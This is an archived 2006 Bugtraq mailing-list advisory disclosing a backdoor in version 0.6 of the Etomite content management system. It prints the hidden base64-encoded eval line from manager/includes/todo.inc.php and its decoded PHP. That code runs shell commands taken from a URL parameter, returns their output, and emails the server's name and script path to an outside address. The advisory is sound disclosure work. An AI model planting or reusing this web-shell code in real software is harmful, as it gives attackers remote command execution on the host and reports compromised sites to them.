bugtraq - Etomite CMS "Backdoored"

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 27 Jan 2006 01:06:45 -0000
From: Luca@...urityfocus.com, Ercoli@...urityfocus.com,
	"[at]"@securityfocus.com, SeeWeb.Com@...urityfocus.com
To: bugtraq@...urityfocus.com
Subject: Etomite CMS "Backdoored"

/******
Package: Etomite Content Management System
Auth: http://www.etomite.org/
Version(s): 0.6 / previous versions may also be backdoored
Vulnerability Type: Remote Code Execution
*****************/

Disclaimer:
---------

The information is provided "as is" without warranty of any kind.
The author of this issue shall not be held liable for any
downtime, lost profits, or damages due to the informations
contained in this advisory.

What is Etomite?
---------------
[description taken from from the author's site]

Etomite is a Content Management System, which allows you to remotely
administer your website from anywhere that you have an Internet
Connection and a compatible Web-Browser.

Vulnerability Description:
-------------------------

Etomite source code contain a backdoor component that 
allow remote users to execute arbitrary code on the host
that Etomite was installed on.

Deep Focus:
----------

As of this writing (01-19-2006), the current stable version (0.6)
available from http://www.etomite.org/ has the following MD5 sum:

f173bcb275b7344d5cd5a1f6315919e6

[It is possible for other backdoored archives to have different MD5 sums]

Malicious code is present in the 'manager/includes/todo.inc.php' file,
where we can find an encoded data with the base64 algorithm:

eval(base64_decode("JGhhbmRsZT1wb3BlbigkX0dFVFtjaWpdLiIgMj4mMSIsInIiKTt3aGlsZSghZmVvZigkaGFuZGxlKSl7JGxpbmU9ZmdldHMoJGhhbmRsZSk7aWYoc3RybGVuKCRsaW5lKT49MSl7ZWNobyAkbGluZTt9fXBjbG9zZSgkaGFuZGxlKTttYWlsKCJjaWpmZXJAbmV0dGkuZmkiLCIiLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLCJFcnJvciBDb2RlICM3MjA5MzgiKTs="));

The result of base64-decoding is reported below:

$handle=popen($_GET[cij]." 2>&1","r");
while(!feof($handle))
 {
  $line=fgets($handle);
  if(strlen($line)>=1)
     {
       echo $line;
     }
  }
pclose($handle);
mail("cijfer@...ti.fi","".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'],"Error Code #720938");

Analyzing decoded data is easy to understand that:

- The popen() function executes the command specified by the variable
 named 'cij' provided to the script via URL query string

- An e-mail message, where there is reported the filename of the currently
  executing script and the server name,  will be sent to 'cijfer@...ti.fi'

Credits:

-- 
Luca Ercoli	<luca.e [at] seeweb.com>
		http://www.seeweb.com/
		http://www.lucaercoli.it/